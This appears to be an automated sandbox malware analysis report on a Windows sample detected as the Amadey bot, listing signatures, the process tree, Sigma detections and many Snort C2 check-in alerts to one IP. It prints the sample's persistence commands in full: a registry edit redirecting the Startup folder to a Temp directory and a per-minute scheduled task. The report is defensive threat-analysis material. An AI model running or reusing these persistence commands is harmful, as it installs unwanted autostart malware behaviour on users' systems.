Play interactive tour

Edit tour

Windows Analysis Report SecuriteInfo.com.Trojan.Siggen15.38099.19640.25720

Overview

General Information

Sample Name:	SecuriteInfo.com.Trojan.Siggen15.38099.19640.25720 (renamed file extension from 25720 to exe)
Analysis ID:	520871
MD5:	34cca2013eb9b2941a65971919bf356d
SHA1:	59f15a169b6c42340849a609edb146e2f6614076
SHA256:	735d3e2eb44123fe560ce027b907b3b1494b0f926aceb641dcdf428a21b8aac0
Tags:	exe
Infos:
Most interesting Screenshot:

Detection

Amadey

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Multi AV Scanner detection for submitted file

Yara detected Amadey bot

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Hides threads from debuggers

Tries to detect sandboxes and other dynamic analysis tools (window names)

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Sigma detected: Suspicius Add Task From User AppData Temp

Machine Learning detection for sample

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

PE file contains section with special chars

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Sigma detected: Direct Autorun Keys Modification

HTTP GET or POST without a user agent

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Contains functionality to read the PEB

Checks if the current process is being debugged

Contains functionality to launch a program with higher privileges

Contains capabilities to detect virtual machines

Contains functionality to detect virtual machines (SLDT)

Uses reg.exe to modify the Windows registry

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Dropped file seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe (PID: 1744 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe" MD5: 34CCA2013EB9B2941A65971919BF356D)

rnyuf.exe (PID: 5824 cmdline: "C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe" MD5: 34CCA2013EB9B2941A65971919BF356D)

cmd.exe (PID: 6636 cmdline: "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\5c436eadc6\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

reg.exe (PID: 6120 cmdline: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\5c436eadc6\ MD5: CEE2A7E57DF2A159A065A34913A055C2)

schtasks.exe (PID: 4460 cmdline: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe" /F MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 6964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

rnyuf.exe (PID: 5908 cmdline: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe MD5: 34CCA2013EB9B2941A65971919BF356D)

rnyuf.exe (PID: 1808 cmdline: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe MD5: 34CCA2013EB9B2941A65971919BF356D)

cleanup

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.946875767.00000000048F5000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000003.00000003.882463196.000000000488C000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000003.00000002.943681294.0000000000E23000.00000004.00000020.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000003.00000002.943646127.0000000000DE9000.00000004.00000020.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000003.00000003.882574918.00000000048C6000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000003.00000003.882522004.00000000048B3000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000003.00000003.810169410.0000000000E50000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000003.00000003.744803770.0000000000E50000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000003.00000002.946613784.0000000004860000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
Process Memory Space: rnyuf.exe PID: 5824	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
Click to see the 5 entries

Sigma Overview

System Summary:

Sigma detected: Suspicius Add Task From User AppData Temp

Show sources

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe" /F, CommandLine: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe" /F, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe, ParentProcessId: 5824, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe" /F, ProcessId: 4460

Sigma detected: Direct Autorun Keys Modification

Show sources

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\5c436eadc6\, CommandLine: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\5c436eadc6\, CommandLine|base64offset|contains: DA, Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\5c436eadc6\, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6636, ProcessCommandLine: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\5c436eadc6\, ProcessId: 6120

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Virustotal: Detection: 70%			Perma Link
Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	ReversingLabs: Detection: 78%

Multi AV Scanner detection for domain / URL

Show sources

Source: depressionk1d.ug

Virustotal: Detection: 9%

Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

ReversingLabs: Detection: 78%

Machine Learning detection for sample

Show sources

Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Joe Sandbox ML: detected

Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: unknown

HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.4:49785 version: TLS 1.2

Source: SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: rnyuf.exe

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49782 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49783 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49818 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49819 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49820 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49821 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49822 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49823 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49824 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49825 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49826 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49827 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49829 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49830 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49831 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49832 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49833 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49834 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49835 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49836 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49837 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49838 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49839 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49841 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49842 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49843 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49844 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49845 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49846 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49847 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49848 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49849 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49850 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49852 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49853 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49854 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49855 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49856 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49857 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49859 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49860 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49861 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49863 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49864 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49865 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49866 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49867 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49869 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49870 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49871 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49873 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49872 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49874 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49875 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49877 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49878 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49879 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49882 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49881 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49883 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49884 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49885 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49886 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49887 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49888 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49889 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49890 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49892 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49893 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49894 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49895 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49896 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49897 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49899 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49900 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49901 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49902 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49903 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49904 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49905 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49906 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49907 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49908 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49909 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49910 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49911 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49912 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49913 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49914 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49915 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49916 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49917 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49918 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49920 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49921 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49922 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49924 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49925 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49926 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49928 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49929 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49930 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49931 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49932 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49933 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49934 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49936 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49937 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49935 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49938 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49939 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49940 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49941 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49942 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49943 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49944 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49945 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49947 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49948 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49949 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49950 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49951 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49952 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49954 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49955 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49956 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49957 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49959 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49960 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49961 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49963 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49964 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49965 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49967 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49966 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49968 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49969 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49970 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49971 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49972 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49974 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49975 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49976 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49977 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49978 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49980 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49981 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49982 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49983 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49984 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49985 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49986 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49988 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49990 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49991 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49992 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49994 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49997 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:49998 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50000 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50001 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50003 -> 178.208.83.45:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.4:50004 -> 178.208.83.45:80
